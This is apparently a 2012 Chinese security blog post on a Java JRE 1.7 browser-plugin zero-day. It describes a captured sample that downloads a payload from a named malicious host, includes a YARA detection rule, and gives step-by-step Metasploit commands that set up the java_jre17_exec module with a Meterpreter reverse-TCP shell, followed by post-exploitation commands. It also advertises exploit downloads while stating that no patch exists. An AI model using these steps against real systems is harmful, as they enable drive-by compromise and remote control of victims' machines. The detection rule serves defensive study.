最新Java 0day漏洞分析及EXP下载
FireEeye在8月27日发布了一个新的java 0day的一些相关信息，该漏洞影响浏览器的JRE[1.7.x]插件，影响非常大，攻击者可利用该漏洞进行挂马攻击。在捕获的样本中发现使用了Dadong’s JSXX 0.44 VIP加密方式。
该java程序中包含了以下两个类文件：（Gondzz.class下载 Gondvv.class下载
该程序会检查系统运行的版本，如果系统存在漏洞，payload就会被下载。注意观察代码中“我有一只小毛驴，从来也不骑”，如下图：
rule Java0daycve2012xxxx_generic
{
meta:
weight=100
author = “Jaime Blasco”
source = “alienvault”
date = “2012-08″
strings:
$ = ”java/security/ProtectionDomain”
$ = “java/security/Permissions”
$ = “java/security/cert/Certificate”
$ = “setSecurityManager”
$ = “file:///”
$ = “sun.awt.SunToolkit”
$ = “getField”
condition:
all of them
}
Metasploit 已经发布了该漏洞利用的模块，需要测试的同学可以迅速更新下载，如下图：
分析样本是从ok.aa24.net / meeting / hi.exe下载恶意文件，检测结果如下：
https://www.virustotal.com/file/09d10ae0f763e91982e1c276aad0b26a575840ad986b8f53553a4ea0a948200f/analysis/1346055031/
使用方法：
use exploit/multi/browser/java_jre17_exec
set SRVHOST 192.168.178.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100
exploit
sysinfo
getuid
Youtube观看演示过程（翻墙）EXP下载
此漏洞影响JRE[1.7.x]插件，不影响java 6及以下
影响浏览器：iE、Firefox、opera、chrome
目前尚未补丁！
http://www.cnlvke.com/archives/5553.html